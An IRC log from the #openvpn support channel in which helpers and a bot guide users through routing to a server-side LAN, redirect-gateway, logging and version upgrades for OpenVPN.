14:10 < vaillor> [11:46:24] <@krzee> @ vaillor ^
14:10 < pekster> Mjolnir: You're trying to expose your server-side LAN, right?
14:10 < vaillor> do you remember?
14:10 < Mjolnir> Right
14:10 < pekster> Mjolnir, there's a helpful flowchart to cover all the elements youneed:
14:10 <@krzee> vaillor, #2 =]
14:10 < pekster> !serverlan
14:10 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:11 <@krzee> vaillor, see how #1 says (NOT recommended)
14:11 < vaillor> krzee, the problem is that i don't need to use many clients
14:11 < vaillor> i need just one
14:12 < Mjolnir> Ok, helpful.  Cannot ping lan ip of server.  forwarding is on.
14:12 <@krzee> vaillor, you didnt have 2 clients connecting?
14:12 < vaillor> no
14:12 <@krzee> vaillor,
14:12 < vaillor> i have a server
14:12 <@krzee> !logs
14:12 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:12 <@krzee> remember verb 5
14:12 < vaillor> http://sprunge.us/cAQB
14:12 <@krzee> try again
14:12 <@krzee>  <krzee> remember verb 5
14:12 < vaillor> is the same client that disconnects and reconnects itself and renews cip
14:13 < vaillor> ok
14:13 <@krzee> and BOTH logs
14:13 <@krzee> !logs
14:13 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:13 <@krzee> read that again ^
14:13 < vaillor> krzee, the client is openvpn connect on ios
14:13 < vaillor> do you know?
14:14 < vaillor> verb is at 5
14:14 < Mjolnir> Ok, how to diagnose this.  I did an iptables -F to make sure no residual rules were in it, made sure :/proc/sys/net/ipv4/ip_forward is 1.  Now why can't I ping my server LAN ip?
14:14 <@krzee> Mjolnir,
14:14 <@krzee> !serverlan
14:14 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
14:14 <@krzee> #3
14:14 < Mjolnir> IT says turn on ip forwarding.  It is on.   Says fix firewall.  I specifically don't have one.
14:15 <@krzee> can you ping vpn server vpn ip?
14:15 < Mjolnir> yes
14:15 <@krzee> netstat -rn on the client
14:16 < vaillor> krzee, that log is with verb 5
14:16 < Mjolnir> No rules for server lan at all.  I pushed the rule.
14:16 <@krzee> vaillor, in openvpn connect you get to the log by clicking right above where it says "on"
14:16 <@krzee> or at least thats how its working on my ipod touch
14:17 < Mjolnir> route
14:17 < Mjolnir> sorry, wrong window
14:18 < vaillor> krzee: http://sprunge.us/gSBg
14:18 <@krzee> Mjolnir, show us what you pushed
14:18 < vaillor> i'm connected
14:18 < vaillor> but connection appears and disappears continuously
14:18 < vaillor> and everytime renews ip
14:19 <@krzee> verb 5 shows way more
14:19 < vaillor> i started with ip 10.8.0.2, now i'm 10.8.0.194
14:19 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:19 <@krzee> the log you showed me is .6
14:19 < vaillor> krzee, i tried to set "timeout" to "none"
14:20 < vaillor> but it continues
14:20 < vaillor> to infinite
14:20 <@krzee> dunno what you're talkin bout
14:20 < vaillor> krzee, in the openvpn connect config you can set timeout
14:20 < vaillor> default is 1 minute
14:20 < vaillor> you can set 3 minutes, 5, and "none"
14:21 <@krzee> all i remember is importing an openvpn config
14:21 <@krzee> are you using access-server?
14:21 < vaillor> no
14:21 < Mjolnir> push "route 192.168.2.0 255.255.255.0"
14:22 <@krzee> Mjolnir, do the clients have that route in their routing table?
14:22 < Mjolnir> No.  And I don't know why.
14:23 <@krzee> see client logfile
14:24 < vaillor> krzee, from the log i geave you, you can understand something wrong?
14:25 < Mjolnir> http://pastebin.com/f2YRcGsW .  There's an access denied which I find suspicious...
14:25 <@krzee> i can understand that it is not verb 5
14:25 < pekster> "OpenVPN ROUTE: failed to parse/resolve route for host/network: add"
14:25 < pekster> Fix that
14:25 <@krzee> Mjolnir, 2.0.9!?!?
14:25 <@krzee> upgrade your shit
14:26 <@krzee> !download
14:26 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
14:26 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
14:26 < Mjolnir> I downloaded it from their site.
14:26 < pekster> That too
14:26 <@krzee> wrong site
14:26 <@krzee> unless it's 2006
14:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
14:26 < Mjolnir> I got it from openvpn.net
14:27 <@krzee> i disagree
14:27 < pekster> Apparently not. Please reference the official download links you were just given
14:27 < Mjolnir> I am.  Standby
14:27 < pekster> The 2.1 series was release *over* 6 years ago
14:27 < pekster> And you're running 2.0.9
14:27 <@krzee> unless you got it from openvpn.net many years ago
14:27 < pekster> Current release is 2.3.1
14:27  * ecrist guesses he got it from openvpn.se
14:28 < vaillor> krzee, i need to use verb 5 also on the client?
14:28 <@krzee> ecrist, yep most likely
14:29 <@krzee> vaillor, i dont think it will help, but you need to post a log from the server at verb 5.  you have to stop and start the server after changing the config...
14:31 <@krzee> vaillor, you may also want to try to get your server working from a computer before you try your iphone
14:31 < vaillor> krzee, the same config on my computer doesn't work
14:31 <@krzee> cool set it to verb 5 there
14:32 < Mjolnir> I think I see where the confusion is.
14:32 < Mjolnir> On the downloads.
14:32 < vaillor> krzee, where is log file in default conf?
14:32 < vaillor> !log
14:32 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:32 <@krzee> !logfile
14:32 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
14:32 < Mjolnir> If I go to the openvpn.net I get privatetunnel, not openvpn on teh downloads.   Not your product.
14:33 < pekster> Mjolnir: This? http://openvpn.net/index.php/open-source/downloads.html (how is that confusing? You have to explicitly click on "Older Releases"
14:33 <@vpnHelper> Title: Community Downloads (at openvpn.net)
14:33 < Mjolnir> Anyway, I'm installing the new version
14:33 <@krzee> Mjolnir, you didnt click "community"
14:33 < Mjolnir> I'm just telling you what us mere mortals see when we go there.
14:33 < pekster> Mjolnir: Wrong site. then. Please check your DNS for hijacking. http://paste.kde.org/714566/
14:34 < pekster> If you go to the URL I gave you above, you should *not* be getting a "privatetunnel" product
14:34 < pekster> krzee: Oh, is that the corp stuff? :\
14:34 <@krzee> yep
14:34  * pekster wishes that was a separate site alltogether
14:34 <@krzee> hehe
14:34 <@krzee> ...yep
14:35 < pekster> Same lousy crap the Subversion + ColabNet folks went through
14:35 < pekster> Subversion finally moved to apache to fix it
14:36 < Mjolnir> openvpn.net resolves to 67.228.116.150.   Checking browser for for plugin hijacking.
14:36 < pekster> Mjolnir: No, that's fine I think. You need to use the download link referenced in the bot output. The "Community" link is the GPL (open-source) stuff. The "Privateaccess" is the commercial, non-free payware product
14:36 <@EugeneKay> Mjolnir - your DNS is fine. You just can't read.
14:37 < Mjolnir> ok
14:42 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:44 < Mjolnir> Upgraded and I'm working back down the flowchart.
14:44 < pekster> Those client errors are non-trivial. Be sure you're paying careful attention to errors in your config from either client
14:45 < vaillor> krzee, now works
14:45 < vaillor> but i need to ask you something
14:45 < Mjolnir> I've got a completely different set now.
14:45 < vaillor> i need that all the traffic from iphone goes into vpn
14:45 <@krzee> vaillor,
14:45 < Mjolnir> Trying to fix the obvious first.
14:45 <@krzee> !redirect
14:45 < vaillor> and iphone goes in internet and navigates with vpn
14:45 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:45 <@vpnHelper> http://ircpimps.org/redirect.png
14:46 < vaillor> i need to do all these thing only on the server config?
14:50 < vaillor> !def1
14:50 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:50 < vaillor> !man
14:50 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:54 < vaillor>  !ipforward
14:55 < Mjolnir> Ok, I have 2.3.1 installed on the client.  The server version is 2.2.1 -- do I need to upgrade that?
14:55 < pekster> Probably not if you don't explicitly need any of the new features of bugfixes in it
14:55 < pekster> IPv6 is one of the largest advantages of 2.3.x
14:56 < Mjolnir> I'm not really using V6 much.  It's enabled but it's a small network here with <10 machines
14:56 < pekster> IPv6 over OpenVPN, specifically
14:56 < Mjolnir> when my ISP supports it I'll worry about it more.
14:57 < Mjolnir> Anyway, lets get v4 working.
14:58 < Mjolnir> Looks like it's no longer assigning IPs to the interface correctly.  I'll post the log in a sec...
14:59 < vaillor>  !ipforward
14:59 < vaillor> !nat
14:59 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
15:06 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
15:07 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
15:08 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
15:08 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
15:14 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
15:29 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
15:34 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
15:35 < FatDarrel> olé!
15:35 < FatDarrel> I want to run open VPN for our office VPN does anyone know how the network should set up?
15:36 < FatDarrel> DO i need two separate network interfaces
15:37 < pekster> Nope, one physical NIC is fine if you're looking to connect external clients and route between that virtual network and an existing LAN
15:37 < pekster> Start with the official howto go get a basic setup:
15:37 < pekster> !howto
15:37 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:37 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:37 < FatDarrel> pekster: ok
15:38 < FatDarrel> thanks
15:38 < pekster> Make sure that works first and you can establish communication between your endpoints. Then come back here and ask the bot for: !serverlan
15:38 < FatDarrel> didn't know if there was any bridging or any fancy thing like that
15:38 < pekster> You can bridge, but you shouldn't unless you have a specific need to
15:38 < pekster> !tunortap
15:38 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
15:38 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
15:38 < FatDarrel> pekster: thanks for the link and also i am using the VM  provided
15:39 -!- rkantos [robin@4e.fi] has quit [Ping timeout: 245 seconds]
15:39 < pekster> VM? There is no provided VM
15:39 < pekster> !download
15:39 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
15:39 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
15:40 < FatDarrel> pekster: http://openvpn.net/index.php/access-server/download-openvpn-as-vm.html
15:40 <@vpnHelper> Title: Access Server Virtual Appliances (at openvpn.net)
15:40 < pekster> That is not OpenVPN. It is a commercial closed-source product
15:40 < FatDarrel> pekster: oh damn
15:40 < pekster> It leverages the OpenVPN protocol underneath, but has its own licensing scheme and is not open-source software
15:40 < FatDarrel> pekster: will it give me VPN :)
15:40 < pekster> It also has its own channel since it is not really related to the GPL OpenVPN
15:40 < pekster> !as
15:40 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:41 < pekster> You need to decide upfront which solution you want
15:41 < pekster> Theirs will cost (IIRC you get some number of users for a "trial period", but I lost interest in reading any EULA when that phrase was ill-defined.) I don't like closed-source solutions since I'm a person who likes to see how code works and improve on it
15:42 < pekster> That said, it's like any commercial package with support and frontends available too as benefits
15:42 < pekster> Depends on what you want
15:46 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:47 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:53 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
15:54 -!- JessD [~jdyer@24.176.93.67] has quit [Quit: leaving]
15:56 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
15:56 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
15:58 -!- rkantos [robin@4e.fi] has joined #openvpn
16:01 -!- Orbi [~opera@46.246.33.71] has left #openvpn []
16:06 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
16:07 -!- mistik1_ [~mistik1@184.170.56.91] has quit [Quit: Lost terminal]
16:07 -!- u0m3 [~Radu@109.96.161.116] has quit [Read error: Connection reset by peer]
16:11 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
16:11 -!- u0m3 [~Radu@92.80.104.242] has joined #openvpn
16:12 -!- brute11k [~brute@89.249.231.191] has quit [Quit: Leaving.]
16:13 -!- Mjolnir [~no@unaffiliated/mjolnir] has left #openvpn []
16:13 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
16:13 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 258 seconds]
16:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:27 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Operation timed out]
16:29 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
16:31 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
16:31 -!- FatDarrel_ [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has joined #openvpn
16:33 -!- FatDarrel [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
16:35 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
16:36 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 255 seconds]
16:56 -!- bla [bla@unaffiliated/bla] has left #openvpn []
17:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:17 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
17:17 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
17:30 -!- Moonlightning is now known as Starthunder
17:34 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
17:34 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
17:38 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
17:39 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
17:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:50 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
17:51 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:56 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
17:57 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
18:03 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
18:06 < me0615> @krzee, I have resolved the issue yesterday that you adviced me.  anyway what is the difference between using the push that directive from server or using it directly on my client config than doing it outside ovpn?
18:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
18:09 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
18:09 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:16 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
18:17 -!- kfreds_ [~kfreds@slask.mullvad.net] has quit [Ping timeout: 240 seconds]
18:18 -!- kfreds [~kfreds@slask.mullvad.net] has joined #openvpn
18:18 -!- Starthunder [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: Restarting `screen` for 256-color support :3 || The Nightmares will collide. And become a Dream. <3]
18:18 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:18 -!- Champi [Champi@rootshell.fr] has quit [Remote host closed the connection]
18:19 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
18:20 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
18:22 -!- Champi [Champi@rootshell.fr] has joined #openvpn
18:25 <@krzee> me0615, if you do it through android, android will not overwrite it
18:25 <@krzee> if you do it through openvpn, you need to write an android script to recieve the option, and then android will still overwrite it (since you're using openvpn ported to android and not an android version of openvpn)
18:26 <@krzee> you have no choice of version because you are using old android (pre-ICS)
18:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
18:26 -!- me0615 [~me0615@122.2.46.76] has quit [Ping timeout: 245 seconds]
18:27 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
18:27 -!- me0615a [~me0615@122.2.46.76] has joined #openvpn
18:29 -!- me0615 [~me0615@122.2.46.76] has quit [Read error: Connection reset by peer]
18:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:35 < me0615a> guys I have a directive on my client config ip-win32 adaptive and dhcp-option DNS x.x.x.x to test if dhcp-option does set tcp/ip properties for the tap adapter. but when I check the properties, i dont see anything.
18:35 -!- me0615a [~me0615@122.2.46.76] has quit []
18:35 -!- me0615a [~me0615@122.2.46.76] has joined #openvpn
18:44 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
18:55 -!- me0615a [~me0615@122.2.46.76] has quit []
18:57 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
18:57 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
19:04 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
19:08 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
19:08 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
19:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
19:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:10 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
19:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:13 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
19:14 -!- EugeneKay is now known as Snickers
19:14 -!- Snickers is now known as SlimJim
19:15 -!- SlimJim is now known as EugeneKay
19:17 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:17 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
19:21 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
19:21 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
19:22 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
19:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
19:27 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
19:29 < tharkun> So I get to ping both ends of the vpn I even get to ping the ip of the recieving end. And thats it. How can I get to access the rest of the remote end?
19:31 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
19:32 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
19:32 < pekster> tharkun: You mean a LAN behind one of your VPN peers? And which one, your server or client (assuming you have a multi-client setup with a server and one or more clients)
19:34 < tharkun> pekster: the LAN behind the server
19:34 < pekster> !serverlan
19:34 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
19:34 < pekster> The flowchart is especially useful
19:36 < tharkun> pekster: thanks
19:37 < tharkun> The interesting thing is that it worked yesterday without a glitch
19:39 < pekster> Then presumably something changed
19:57 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
19:58 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
19:59 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:04 < tharkun> pekster: I'm afraid so. Now I haven't got a clue on what
20:05 -!- raidz is now known as raidz_away
20:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:05 < pekster> The flowchart should guide you right to the problem
20:05 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
20:05 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
20:06 < tharkun> pekster: according to it there is no route back to the other vpn
20:08 < pekster> The return route from the server-side LAN PC to the VPN client?
20:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
20:09 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
20:14 < tharkun> pekster: Add a route to the router so it knows how to reach the vpn subnet
20:16 < tharkun> at this point in time I'm trying to ping a machine that has "route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.5.5"
20:21 < pekster> Where 192.168.2.0/24 is your VPN range, and 192.168.5.5 is your VPN server's LAN IP?
20:22 < tharkun> yes
20:22 < pekster> Sounds like a firewall issue on the router then
20:22 < pekster> And/or the VPN server
20:22 <@krzee> can test if its the router by adding that route to another machine on the lan and then checking if you can ping that server from the vpn
20:23 < tharkun> pekster: Yesterday it worked manually, today I tried the /etc/init.d/openvpn script and it failed. I'm restarting both ends now
20:23 < pekster> Yup, that'll at least narrow down "which" system your firewall problem exists on. Remember that the client PC you're pinging might also have a firewall that's dropping the reply
20:24 < pekster> A reboot wouldn't impact firewalls. Chances are that won't do you any good
20:24 -!- FatDarrel_ [~anandab@c-50-131-89-52.hsd1.ca.comcast.net] has quit [Ping timeout: 252 seconds]
20:25 -!- bkrieg1337 [~bkrieg133@112.203.46.180] has joined #openvpn
20:25 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
20:25 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
20:26 < tharkun> pekster: no firewall in between none of the involved parties. The only one is between both servers wich can be pinged among them
20:26 < pekster> You have 4 systems involved, not counting the "external" path your VPN is on
20:26 < pekster> How do you no "no firewall" is involved on any of them?
20:27 < pekster> VPN client, VPN server, LAN gw, and LAN PC
20:27 < pekster> Go trace packets if you really can't figure out where they're getting dropped
20:27 < pekster> How do you know*
20:28 <@krzee> if you have the route you said, it is a firewall/filter somewhere
20:28 <@krzee> the sooner you come to terms with that and do some tests to find where that filter is, the sooner it gets fixed =]
20:29 <@krzee> like the topic says :D
20:33 -!- bkrieg1337 [~bkrieg133@112.203.46.180] has quit [Read error: Connection reset by peer]
20:34 -!- eliasp [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has joined #openvpn
20:34 -!- eliasp_ [~quassel@HSI-KBW-109-192-195-027.hsi6.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
20:36 < tharkun> krzee: If I can ping one server from one end of the tunnel (both local ip and tunnel ip) and then I can do the same on the other end. Does that mean that there is a Firewall isue among them?
20:37 <@krzee> yes it does
20:37 < pekster> Well, not between them, but you have 2 other systmes involved
20:38 <@krzee> right, it simply means theres a firewall issue *somewhere*
20:38 < pekster> You said you can successfully ping between your VPN endpoints. That's a good start as it means your VPN is running and you've accepted pings as a diagnostic tool. You have the server LAN and routes behind the server, and the LAN's gateway. *those* are additional point where routing and firewalling come into play
20:38 <@krzee> i told you how to confirm or deny it being on the router
20:38 < tharkun> pekster: The only firewall exists between client and server
20:38 < pekster> tharkun: You have no firewall on your LAN's gateway? That sounds very foolish
20:39  * tharkun reads again the backscroll for some information that might have been missed
20:39 < pekster> Your problem probably isn't between the "client and server" but between the server and the LAN PC
20:39 < tharkun> There is no firewall there
